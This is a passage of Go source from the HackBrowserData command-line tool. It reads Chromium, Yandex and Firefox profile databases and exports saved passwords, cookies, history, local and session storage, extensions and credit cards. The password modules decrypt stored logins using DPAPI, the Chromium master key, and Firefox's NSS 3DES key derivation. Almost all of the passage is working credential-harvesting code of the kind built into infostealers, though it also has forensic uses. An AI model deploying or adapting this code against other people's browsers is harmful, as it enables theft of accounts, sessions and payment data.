result, err := parseChromiumExtensions(extensionFile)
if err != nil {
return err
}
*c = result
return nil
}
func parseChromiumExtensions(content string) ([]*extension, error) {
settingKeys := []string{
"settings.extensions",
"settings.settings",
"extensions.settings",
}
var settings gjson.Result
for _, key := range settingKeys {
settings = gjson.Parse(content).Get(key)
if settings.Exists() {
break
}
}
if !settings.Exists() {
return nil, fmt.Errorf("cannot find extensions in settings")
}
var c []*extension
settings.ForEach(func(id, ext gjson.Result) bool {
location := ext.Get("location")
if !location.Exists() {
return true
}
switch location.Int() {
case 5, 10: // https://source.chromium.org/chromium/chromium/src/+/main:extensions/common/mojom/manifest.mojom
return true
}
// https://source.chromium.org/chromium/chromium/src/+/main:extensions/browser/disable_reason.h
enabled := !ext.Get("disable_reasons").Exists()
b := ext.Get("manifest")
if !b.Exists() {
c = append(c, &extension{
ID: id.String(),
Enabled: enabled,
Name: ext.Get("path").String(),
})
return true
}
c = append(c, &extension{
ID: id.String(),
URL: getChromiumExtURL(id.String(), b.Get("update_url").String()),
Enabled: enabled,
Name: b.Get("name").String(),
Description: b.Get("description").String(),
Version: b.Get("version").String(),
HomepageURL: b.Get("homepage_url").String(),
})
return true
})
return c, nil
}
func getChromiumExtURL(id, updateURL string) string {
if strings.HasSuffix(updateURL, "clients2.google.com/service/update2/crx") {
return "https://chrome.google.com/webstore/detail/" + id
} else if strings.HasSuffix(updateURL, "edge.microsoft.com/extensionwebstorebase/v1/crx") {
return "https://microsoftedge.microsoft.com/addons/detail/" + id
}
return ""
}
func (c *ChromiumExtension) Name() string {
return "extension"
}
func (c *ChromiumExtension) Len() int {
return len(*c)
}
type FirefoxExtension []*extension
var lang = language.Und
func (f *FirefoxExtension) Extract(_ []byte) error {
s, err := fileutil.ReadFile(types.FirefoxExtension.TempFilename())
if err != nil {
return err
}
_ = os.Remove(types.FirefoxExtension.TempFilename())
j := gjson.Parse(s)
for _, v := range j.Get("addons").Array() {
// https://searchfox.org/mozilla-central/source/toolkit/mozapps/extensions/internal/XPIDatabase.jsm#157
if v.Get("location").String() != "app-profile" {
continue
}
if lang != language.Und {
locale := findFirefoxLocale(v.Get("locales").Array(), lang)
*f = append(*f, &extension{
ID: v.Get("id").String(),
Enabled: v.Get("active").Bool(),
Name: locale.Get("name").String(),
Description: locale.Get("description").String(),
Version: v.Get("version").String(),
HomepageURL: locale.Get("homepageURL").String(),
})
continue
}
*f = append(*f, &extension{
ID: v.Get("id").String(),
Enabled: v.Get("active").Bool(),
Name: v.Get("defaultLocale.name").String(),
Description: v.Get("defaultLocale.description").String(),
Version: v.Get("version").String(),
HomepageURL: v.Get("defaultLocale.homepageURL").String(),
})
}
return nil
}
func findFirefoxLocale(locales []gjson.Result, targetLang language.Tag) gjson.Result {
tags := make([]language.Tag, 0, len(locales))
indices := make([]int, 0, len(locales))
for i, locale := range locales {
for _, tagStr := range locale.Get("locales").Array() {
tag, _ := language.Parse(tagStr.String())
if tag == language.Und {
continue
}
tags = append(tags, tag)
indices = append(indices, i)
}
}
_, tagIndex, _ := language.NewMatcher(tags).Match(targetLang)
return locales[indices[tagIndex]]
}
func (f *FirefoxExtension) Name() string {
return "extension"
}
func (f *FirefoxExtension) Len() int {
return len(*f)
}
================================================
FILE: browserdata/history/history.go
================================================
package history
import (
"database/sql"
"os"
"sort"
"time"
// import sqlite3 driver
_ "modernc.org/sqlite"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumHistory, func() extractor.Extractor {
return new(ChromiumHistory)
})
extractor.RegisterExtractor(types.FirefoxHistory, func() extractor.Extractor {
return new(FirefoxHistory)
})
}
type ChromiumHistory []history
type history struct {
Title string
URL string
VisitCount int
LastVisitTime time.Time
}
const (
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
)
func (c *ChromiumHistory) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.ChromiumHistory.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumHistory.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumHistory)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
url, title string
visitCount int
lastVisitTime int64
)
if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil {
log.Warnf("scan chromium history error: %v", err)
}
data := history{
URL: url,
Title: title,
VisitCount: visitCount,
LastVisitTime: typeutil.TimeEpoch(lastVisitTime),
}
*c = append(*c, data)
}
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].VisitCount > (*c)[j].VisitCount
})
return nil
}
func (c *ChromiumHistory) Name() string {
return "history"
}
func (c *ChromiumHistory) Len() int {
return len(*c)
}
type FirefoxHistory []history
const (
queryFirefoxHistory = `SELECT id, url, COALESCE(last_visit_date, 0), COALESCE(title, ''), visit_count FROM moz_places`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxHistory) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxHistory.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxHistory.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
return err
}
defer db.Close()
rows, err := db.Query(queryFirefoxHistory)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
id, visitDate int64
url, title string
visitCount int
)
if err = rows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil {
log.Debugf("scan firefox history error: %v", err)
}
*f = append(*f, history{
Title: title,
URL: url,
VisitCount: visitCount,
LastVisitTime: typeutil.TimeStamp(visitDate / 1000000),
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].VisitCount < (*f)[j].VisitCount
})
return nil
}
func (f *FirefoxHistory) Name() string {
return "history"
}
func (f *FirefoxHistory) Len() int {
return len(*f)
}
================================================
FILE: browserdata/imports.go
================================================
// Package browserdata is responsible for initializing all the necessary
// components that handle different types of browser data extraction.
// This file, imports.go, is specifically used to import various data
// handler packages to ensure their initialization logic is executed.
// These imports are crucial as they trigger the `init()` functions
// within each package, which typically handle registration of their
// specific data handlers to a central registry.
package browserdata
import (
_ "github.com/moond4rk/hackbrowserdata/browserdata/bookmark"
_ "github.com/moond4rk/hackbrowserdata/browserdata/cookie"
_ "github.com/moond4rk/hackbrowserdata/browserdata/creditcard"
_ "github.com/moond4rk/hackbrowserdata/browserdata/download"
_ "github.com/moond4rk/hackbrowserdata/browserdata/extension"
_ "github.com/moond4rk/hackbrowserdata/browserdata/history"
_ "github.com/moond4rk/hackbrowserdata/browserdata/localstorage"
_ "github.com/moond4rk/hackbrowserdata/browserdata/password"
_ "github.com/moond4rk/hackbrowserdata/browserdata/sessionstorage"
)
================================================
FILE: browserdata/localstorage/localstorage.go
================================================
package localstorage
import (
"bytes"
"database/sql"
"fmt"
"os"
"strings"
"github.com/syndtr/goleveldb/leveldb"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/byteutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumLocalStorage, func() extractor.Extractor {
return new(ChromiumLocalStorage)
})
extractor.RegisterExtractor(types.FirefoxLocalStorage, func() extractor.Extractor {
return new(FirefoxLocalStorage)
})
}
type ChromiumLocalStorage []storage
type storage struct {
IsMeta bool
URL string
Key string
Value string
}
const maxLocalStorageValueLength = 1024 * 2
func (c *ChromiumLocalStorage) Extract(_ []byte) error {
db, err := leveldb.OpenFile(types.ChromiumLocalStorage.TempFilename(), nil)
if err != nil {
return err
}
defer os.RemoveAll(types.ChromiumLocalStorage.TempFilename())
defer db.Close()
iter := db.NewIterator(nil, nil)
for iter.Next() {
key := iter.Key()
value := iter.Value()
s := new(storage)
s.fillKey(key)
// don't all value upper than 2KB
if len(value) < maxLocalStorageValueLength {
s.fillValue(value)
} else {
s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength)
}
if s.IsMeta {
s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
}
*c = append(*c, *s)
}
iter.Release()
err = iter.Error()
return err
}
func (c *ChromiumLocalStorage) Name() string {
return "localStorage"
}
func (c *ChromiumLocalStorage) Len() int {
return len(*c)
}
func (s *storage) fillKey(b []byte) {
keys := bytes.Split(b, []byte("\x00"))
if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
s.IsMeta = true
s.fillMetaHeader(keys[0])
}
if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
s.fillHeader(keys[0], keys[1])
}
}
func (s *storage) fillMetaHeader(b []byte) {
s.URL = string(bytes.Trim(b, "META:"))
}
func (s *storage) fillHeader(url, key []byte) {
s.URL = string(bytes.Trim(url, "_"))
s.Key = string(bytes.Trim(key, "\x01"))
}
func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
return r, err
}
// fillValue fills value of the storage
// TODO: support unicode charter
func (s *storage) fillValue(b []byte) {
value := bytes.Map(byteutil.OnSplitUTF8Func, b)
s.Value = string(value)
}
type FirefoxLocalStorage []storage
const (
queryLocalStorage = `SELECT originKey, key, value FROM webappsstore2`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxLocalStorage) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxLocalStorage.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxLocalStorage.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
log.Debugf("close journal mode error: %v", err)
}
rows, err := db.Query(queryLocalStorage)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var originKey, key, value string
if err = rows.Scan(&originKey, &key, &value); err != nil {
log.Debugf("scan firefox local storage error: %v", err)
}
s := new(storage)
s.fillFirefox(originKey, key, value)
*f = append(*f, *s)
}
return nil
}
func (s *storage) fillFirefox(originKey, key, value string) {
// originKey = moc.buhtig.:https:443
p := strings.Split(originKey, ":")
h := typeutil.Reverse([]byte(p[0]))
if bytes.HasPrefix(h, []byte(".")) {
h = h[1:]
}
if len(p) == 3 {
s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
}
s.Key = key
s.Value = value
}
func (f *FirefoxLocalStorage) Name() string {
return "localStorage"
}
func (f *FirefoxLocalStorage) Len() int {
return len(*f)
}
================================================
FILE: browserdata/localstorage/localstorage_test.go
================================================
package localstorage
import (
"testing"
"github.com/stretchr/testify/assert"
"golang.org/x/text/encoding/unicode"
)
var testCases = []struct {
in []byte
wanted []byte
actual []byte
}{
{
in: []byte{0x0, 0x7b, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x68, 0x0, 0x74, 0x0, 0x74, 0x0, 0x70, 0x0, 0x73, 0x0, 0x3a, 0x0, 0x2f, 0x0, 0x2f, 0x0, 0x77, 0x0, 0x77, 0x0, 0x77, 0x0, 0x2e, 0x0, 0x76, 0x0, 0x6f, 0x0, 0x6c, 0x0, 0x63, 0x0, 0x65, 0x0, 0x6e, 0x0, 0x67, 0x0, 0x69, 0x0, 0x6e, 0x0, 0x65, 0x0, 0x2e, 0x0, 0x63, 0x0, 0x6f, 0x0, 0x6d, 0x0, 0x2f, 0x0, 0x70, 0x0, 0x72, 0x0, 0x6f, 0x0, 0x64, 0x0, 0x75, 0x0, 0x63, 0x0, 0x74, 0x0, 0x73, 0x0, 0x2f, 0x0, 0x66, 0x0, 0x65, 0x0, 0x69, 0x0, 0x6c, 0x0, 0x69, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x74, 0x0, 0x69, 0x0, 0x74, 0x0, 0x6c, 0x0, 0x65, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0xde, 0x98, 0xde, 0x8f, 0x2d, 0x0, 0x6b, 0x70, 0x71, 0x5c, 0x15, 0x5f, 0xce, 0x64, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6d, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x75, 0x0, 0x61, 0x0, 0x6c, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x22, 0x0, 0x7d, 0x0},
wanted: []byte(`{"refer_key":"https://www.volcengine.com/product/feilian","refer_title":"飞连_SSO单点登录_VPN_终端安全合规_便捷Wifi认证-火山引擎","refer_manual_key":""}`),
actual: []byte{0x7b, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x6f, 0x6c, 0x63, 0x65, 0x6e, 0x67, 0x69, 0x6e, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2f, 0x66, 0x65, 0x69, 0x6c, 0x69, 0x61, 0x6e, 0x22, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x22, 0x3a, 0x22, 0xc3, 0x9e, 0xe9, 0xa3, 0x9e, 0xe8, 0xbc, 0xad, 0x6b, 0xe7, 0x81, 0xb1, 0xe5, 0xb0, 0x95, 0xe5, 0xbf, 0x8e, 0xe6, 0x90, 0xa2, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6d, 0x61, 0x6e, 0x75, 0x61, 0x6c, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x22, 0x7d, 0xef, 0xbf, 0xbd},
},
}
func TestLocalStorageKeyToUTF8(t *testing.T) {
t.Parallel()
for _, tc := range testCases {
actual, err := convertUTF16toUTF8(tc.in, unicode.BigEndian)
if err != nil {
t.Error(err)
}
// TODO: fix this, value from local storage if contains chinese characters, need convert utf16 to utf8
// but now, it can't convert, so just skip it.
assert.Equal(t, tc.actual, actual, "chinese characters can't actual convert")
}
}
================================================
FILE: browserdata/outputter.go
================================================
package browserdata
import (
"encoding/csv"
"encoding/json"
"errors"
"io"
"os"
"path/filepath"
"github.com/gocarina/gocsv"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
"github.com/moond4rk/hackbrowserdata/extractor"
)
type outPutter struct {
json bool
csv bool
}
func newOutPutter(flag string) *outPutter {
o := &outPutter{}
if flag == "json" {
o.json = true
} else {
o.csv = true
}
return o
}
func (o *outPutter) Write(data extractor.Extractor, writer io.Writer) error {
switch o.json {
case true:
encoder := json.NewEncoder(writer)
encoder.SetIndent("", " ")
encoder.SetEscapeHTML(false)
return encoder.Encode(data)
default:
gocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter {
writer := csv.NewWriter(transform.NewWriter(w, unicode.UTF8BOM.NewEncoder()))
writer.Comma = ','
return gocsv.NewSafeCSVWriter(writer)
})
return gocsv.Marshal(data, writer)
}
}
func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
if filename == "" {
return nil, errors.New("empty filename")
}
if dir != "" {
if _, err := os.Stat(dir); os.IsNotExist(err) {
err := os.MkdirAll(dir, 0o750)
if err != nil {
return nil, err
}
}
}
var file *os.File
var err error
p := filepath.Join(dir, filename)
file, err = os.OpenFile(filepath.Clean(p), os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
if err != nil {
return nil, err
}
return file, nil
}
func (o *outPutter) Ext() string {
if o.json {
return "json"
}
return "csv"
}
================================================
FILE: browserdata/outputter_test.go
================================================
package browserdata
import (
"os"
"testing"
)
func TestNewOutPutter(t *testing.T) {
t.Parallel()
out := newOutPutter("json")
if out == nil {
t.Error("New() returned nil")
}
f, err := out.CreateFile("results", "test.json")
if err != nil {
t.Error("CreateFile() returned an error", err)
}
defer os.RemoveAll("results")
err = out.Write(nil, f)
if err != nil {
t.Error("Write() returned an error", err)
}
}
================================================
FILE: browserdata/password/password.go
================================================
package password
import (
"database/sql"
"encoding/base64"
"os"
"sort"
"time"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // import sqlite3 driver
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumPassword, func() extractor.Extractor {
return new(ChromiumPassword)
})
extractor.RegisterExtractor(types.YandexPassword, func() extractor.Extractor {
return new(YandexPassword)
})
extractor.RegisterExtractor(types.FirefoxPassword, func() extractor.Extractor {
return new(FirefoxPassword)
})
}
type ChromiumPassword []loginData
type loginData struct {
UserName string
encryptPass []byte
encryptUser []byte
Password string
LoginURL string
CreateDate time.Time
}
const (
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
)
func (c *ChromiumPassword) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.ChromiumPassword.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumPassword.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumLogin)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
url, username string
pwd, password []byte
create int64
)
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
log.Debugf("scan chromium password error: %v", err)
}
login := loginData{
UserName: username,
encryptPass: pwd,
LoginURL: url,
}
if len(pwd) > 0 {
password, err = crypto.DecryptWithDPAPI(pwd)
if err != nil {
password, err = crypto.DecryptWithChromium(masterKey, pwd)
if err != nil {
log.Debugf("decrypt chromium password error: %v", err)
}
}
}
if create > time.Now().Unix() {
login.CreateDate = typeutil.TimeEpoch(create)
} else {
login.CreateDate = typeutil.TimeStamp(create)
}
login.Password = string(password)
*c = append(*c, login)
}
// sort with create date
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
})
return nil
}
func (c *ChromiumPassword) Name() string {
return "password"
}
func (c *ChromiumPassword) Len() int {
return len(*c)
}
type YandexPassword []loginData
const (
queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
)
func (c *YandexPassword) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.YandexPassword.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.YandexPassword.TempFilename())
defer db.Close()
rows, err := db.Query(queryYandexLogin)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
url, username string
pwd, password []byte
create int64
)
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
log.Debugf("scan yandex password error: %v", err)
}
login := loginData{
UserName: username,
encryptPass: pwd,
LoginURL: url,
}
if len(pwd) > 0 {
if len(masterKey) == 0 {
password, err = crypto.DecryptWithDPAPI(pwd)
} else {
password, err = crypto.DecryptWithChromium(masterKey, pwd)
}
if err != nil {
log.Debugf("decrypt yandex password error: %v", err)
}
}
if create > time.Now().Unix() {
login.CreateDate = typeutil.TimeEpoch(create)
} else {
login.CreateDate = typeutil.TimeStamp(create)
}
login.Password = string(password)
*c = append(*c, login)
}
// sort with create date
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
})
return nil
}
func (c *YandexPassword) Name() string {
return "password"
}
func (c *YandexPassword) Len() int {
return len(*c)
}
type FirefoxPassword []loginData
func (f *FirefoxPassword) Extract(globalSalt []byte) error {
logins, err := getFirefoxLoginData()
if err != nil {
return err
}
for _, v := range logins {
userPBE, err := crypto.NewASN1PBE(v.encryptUser)
if err != nil {
return err
}
pwdPBE, err := crypto.NewASN1PBE(v.encryptPass)
if err != nil {
return err
}
user, err := userPBE.Decrypt(globalSalt)
if err != nil {
return err
}
pwd, err := pwdPBE.Decrypt(globalSalt)
if err != nil {
return err
}
*f = append(*f, loginData{
LoginURL: v.LoginURL,
UserName: string(user),
Password: string(pwd),
CreateDate: v.CreateDate,
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].CreateDate.After((*f)[j].CreateDate)
})
return nil
}
func getFirefoxLoginData() ([]loginData, error) {
s, err := os.ReadFile(types.FirefoxPassword.TempFilename())
if err != nil {
return nil, err
}
defer os.Remove(types.FirefoxPassword.TempFilename())
loginsJSON := gjson.GetBytes(s, "logins")
var logins []loginData
if loginsJSON.Exists() {
for _, v := range loginsJSON.Array() {
var (
m loginData
user []byte
pass []byte
)
// Use formSubmitURL if available, otherwise fallback to hostname
m.LoginURL = v.Get("formSubmitURL").String()
if m.LoginURL == "" {
m.LoginURL = v.Get("hostname").String()
}
user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
pass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
m.encryptUser = user
m.encryptPass = pass
m.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
logins = append(logins, m)
}
}
return logins, nil
}
func (f *FirefoxPassword) Name() string {
return "password"
}
func (f *FirefoxPassword) Len() int {
return len(*f)
}
================================================
FILE: browserdata/sessionstorage/sessionstorage.go
================================================
package sessionstorage
import (
"bytes"
"database/sql"
"fmt"
"os"
"strings"
"github.com/syndtr/goleveldb/leveldb"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/byteutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumSessionStorage, func() extractor.Extractor {
return new(ChromiumSessionStorage)
})
extractor.RegisterExtractor(types.FirefoxSessionStorage, func() extractor.Extractor {
return new(FirefoxSessionStorage)
})
}
type ChromiumSessionStorage []session
type session struct {
IsMeta bool
URL string
Key string
Value string
}
const maxLocalStorageValueLength = 1024 * 2
func (c *ChromiumSessionStorage) Extract(_ []byte) error {
db, err := leveldb.OpenFile(types.ChromiumSessionStorage.TempFilename(), nil)
if err != nil {
return err
}
defer os.RemoveAll(types.ChromiumSessionStorage.TempFilename())
defer db.Close()
iter := db.NewIterator(nil, nil)
for iter.Next() {
key := iter.Key()
value := iter.Value()
s := new(session)
s.fillKey(key)
// don't all value upper than 2KB
if len(value) < maxLocalStorageValueLength {
s.fillValue(value)
} else {
s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength)
}
if s.IsMeta {
s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
}
*c = append(*c, *s)
}
iter.Release()
err = iter.Error()
return err
}
func (c *ChromiumSessionStorage) Name() string {
return "sessionStorage"
}
func (c *ChromiumSessionStorage) Len() int {
return len(*c)
}
func (s *session) fillKey(b []byte) {
keys := bytes.Split(b, []byte("-"))
if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
s.IsMeta = true
s.fillMetaHeader(keys[0])
}
if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
s.fillHeader(keys[0], keys[1])
}
if len(keys) == 3 {
if string(keys[0]) == "map" {
s.Key = string(keys[2])
} else if string(keys[0]) == "namespace" {
s.URL = string(keys[2])
s.Key = string(keys[1])
}
}
}
func (s *session) fillMetaHeader(b []byte) {
s.URL = string(bytes.Trim(b, "META:"))
}
func (s *session) fillHeader(url, key []byte) {
s.URL = string(bytes.Trim(url, "_"))
s.Key = string(bytes.Trim(key, "\x01"))
}
func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
return r, err
}
// fillValue fills value of the storage
// TODO: support unicode charter
func (s *session) fillValue(b []byte) {
value := bytes.Map(byteutil.OnSplitUTF8Func, b)
s.Value = string(value)
}
type FirefoxSessionStorage []session
const (
querySessionStorage = `SELECT originKey, key, value FROM webappsstore2`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxSessionStorage) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxSessionStorage.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxSessionStorage.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
log.Debugf("close journal mode error: %v", err)
}
rows, err := db.Query(querySessionStorage)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var originKey, key, value string
if err = rows.Scan(&originKey, &key, &value); err != nil {
log.Debugf("scan session storage error: %v", err)
}
s := new(session)
s.fillFirefox(originKey, key, value)
*f = append(*f, *s)
}
return nil
}
func (s *session) fillFirefox(originKey, key, value string) {
// originKey = moc.buhtig.:https:443
p := strings.Split(originKey, ":")
h := typeutil.Reverse([]byte(p[0]))
if bytes.HasPrefix(h, []byte(".")) {
h = h[1:]
}
if len(p) == 3 {
s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
}
s.Key = key
s.Value = value
}
func (f *FirefoxSessionStorage) Name() string {
return "sessionStorage"
}
func (f *FirefoxSessionStorage) Len() int {
return len(*f)
}
================================================
FILE: cmd/hack-browser-data/main.go
================================================
package main
import (
"os"
"github.com/urfave/cli/v2"
"github.com/moond4rk/hackbrowserdata/browser"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
var (
browserName string
outputDir string
outputFormat string
verbose bool
compress bool
profilePath string
isFullExport bool
)
func main() {
Execute()
}
func Execute() {
app := &cli.App{
Name: "hack-browser-data",
Usage: "Export passwords|bookmarks|cookies|history|credit cards|download history|localStorage|extensions from browser",
UsageText: "[hack-browser-data -b chrome -f json --dir results --zip]\nExport all browsing data (passwords/cookies/history/bookmarks) from browser\nGithub Link: https://github.com/moonD4rk/HackBrowserData",
Version: "0.5.0",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"zip"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + browser.Names()},
&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &outputDir, Value: "results", Usage: "export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "output format: csv|json"},
&cli.StringFlag{Name: "profile-path", Aliases: []string{"p"}, Destination: &profilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
&cli.BoolFlag{Name: "full-export", Aliases: []string{"full"}, Destination: &isFullExport, Value: true, Usage: "is export full browsing data"},
},
HideHelpCommand: true,
Action: func(c *cli.Context) error {
if verbose {
log.SetVerbose()
}
browsers, err := browser.PickBrowsers(browserName, profilePath)
if err != nil {
log.Errorf("pick browsers %v", err)
return err
}
for _, b := range browsers {
data, err := b.BrowsingData(isFullExport)
if err != nil {
log.Errorf("get browsing data error %v", err)
continue
}
data.Output(outputDir, b.Name(), outputFormat)
}
if compress {
if err = fileutil.CompressDir(outputDir); err != nil {
log.Errorf("compress error %v", err)
}
log.Debug("compress success")
}
return nil
},
}
err := app.Run(os.Args)
if err != nil {
log.Fatalf("run app error %v", err)
}
}
================================================
FILE: crypto/asn1pbe.go
================================================
package crypto
import (
"crypto/hmac"
"crypto/sha1"
"crypto/sha256"
"encoding/asn1"
"errors"
)
type ASN1PBE interface {
Decrypt(globalSalt []byte) ([]byte, error)
Encrypt(globalSalt, plaintext []byte) ([]byte, error)
}
func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
var (
nss nssPBE
meta metaPBE
login loginPBE
)
if _, err := asn1.Unmarshal(b, &nss); err == nil {
return nss, nil
}
if _, err := asn1.Unmarshal(b, &meta); err == nil {
return meta, nil
}
if _, err := asn1.Unmarshal(b, &login); err == nil {
return login, nil
}
return nil, ErrDecodeASN1Failed
}
var ErrDecodeASN1Failed = errors.New("decode ASN1 data failed")
// nssPBE Struct
//
// SEQUENCE (2 elem)
// OBJECT IDENTIFIER
// SEQUENCE (2 elem)
// OCTET STRING (20 byte)
// INTEGER 1
// OCTET STRING (16 byte)
type nssPBE struct {
AlgoAttr struct {
asn1.ObjectIdentifier
SaltAttr struct {
EntrySalt []byte
Len int
}
}
Encrypted []byte
}
// Decrypt decrypts the encrypted password with the global salt.
func (n nssPBE) Decrypt(globalSalt []byte) ([]byte, error) {
key, iv := n.deriveKeyAndIV(globalSalt)
return DES3Decrypt(key, iv, n.Encrypted)
}
func (n nssPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
key, iv := n.deriveKeyAndIV(globalSalt)
